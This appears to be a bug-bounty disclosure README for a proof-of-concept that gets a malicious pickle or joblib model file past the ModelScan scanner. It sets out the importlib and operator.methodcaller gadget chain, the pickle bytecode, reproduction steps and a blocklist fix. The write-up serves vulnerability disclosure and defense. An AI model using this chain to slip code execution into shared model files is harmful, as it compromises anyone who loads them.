File size: 4,051 Bytes
6a147a1 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 | # ModelScan 0.8.x ACE Bypass — operator.methodcaller + importlib Gadget Chain
## Summary
This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x
(latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.
The `.pkl` and `.joblib` files in this repo execute arbitrary commands at deserialization
time while passing ModelScan's scan as "No issues found."
## Vulnerability
**Affected scanner:** ModelScan 0.8.8
**Affected file types:** .pkl .pickle .joblib .dill .dat .data
**Impact:** Arbitrary Code Execution at model-load time, scanner bypass
ModelScan's `unsafe_globals` blocklist explicitly blocks `operator.attrgetter` with a
comment documenting the operator gadget pattern, but omits `operator.methodcaller`,
which achieves equivalent method invocation on runtime objects. The `importlib` module
is entirely absent from the blocklist.
## Gadget Chain
```
importlib.import_module("os") <- not in ModelScan blocklist
operator.methodcaller("system", CMD) <- not in ModelScan blocklist
(only attrgetter is blocked)
```
Execution:
```
operator.methodcaller("system", CMD)(importlib.import_module("os"))
= os.system(CMD)
```
## Globals extracted by ModelScan
```python
{('importlib', 'import_module'), ('operator', 'methodcaller')}
```
Neither is in `unsafe_globals`. ModelScan reports CLEAN.
## Reproduction
### Requirements
```
pip install modelscan joblib
```
### Step 1 - Verify execution
```python
import pickle
with open("poc_modelscan_bypass.pkl", "rb") as f:
data = f.read()
# This executes os.system("id > /tmp/ml_pwned") immediately
pickle.loads(data)
import os
assert os.path.exists("/tmp/ml_pwned")
print("ACE confirmed:", open("/tmp/ml_pwned").read())
```
### Step 2 - Verify ModelScan bypass
```
modelscan -p poc_modelscan_bypass.pkl
```
Expected output:
```
No issues found!
```
### Step 3 - Verify joblib.load() also triggers
```python
import joblib
joblib.load("poc_modelscan_bypass.joblib")
# Same RCE fires
```
## Pickle Bytecode (protocol 4)
```
PROTO 4
FRAME 107
SHORT_BINUNICODE 'importlib' MEMOIZE (as 0)
SHORT_BINUNICODE 'import_module' MEMOIZE (as 1)
STACK_GLOBAL MEMOIZE (as 2) <- importlib.import_module
SHORT_BINUNICODE 'os' MEMOIZE (as 3)
TUPLE1 MEMOIZE (as 4)
REDUCE MEMOIZE (as 5) <- os module
POP
SHORT_BINUNICODE 'operator' MEMOIZE (as 6)
SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7)
STACK_GLOBAL MEMOIZE (as 8) <- operator.methodcaller
SHORT_BINUNICODE 'system' MEMOIZE (as 9)
SHORT_BINUNICODE 'id > ...' MEMOIZE (as 10)
TUPLE2 MEMOIZE (as 11)
REDUCE MEMOIZE (as 12) <- methodcaller("system", cmd)
BINGET 5 <- retrieve os module
TUPLE1
REDUCE <- os.system(cmd) -> RCE
STOP
```
## Root Cause
`modelscan/settings.py` line in `unsafe_globals`:
```python
# Current (vulnerable)
"operator": [
"attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],
```
The developer documented the operator gadget pattern but only blocked `attrgetter`.
`methodcaller` achieves the same result through method dispatch on runtime objects.
## Fix
```python
# Fixed
"operator": ["attrgetter", "methodcaller", "itemgetter"],
"importlib": "*",
```
## Files
| File | Description |
|------|-------------|
| poc_modelscan_bypass.pkl | Malicious pickle — passes ModelScan, executes os.system() |
| poc_modelscan_bypass.joblib | Same payload, .joblib extension |
| poc_modelscan_bypass.py | Python script that generates and verifies the PoC |
## Ethical Use
This PoC uses a benign indicator (`id > /tmp/ml_pwned`) to demonstrate code execution.
It is submitted exclusively through the official Protect AI / huntr.com bug bounty program.
Do not use against systems you do not own.
|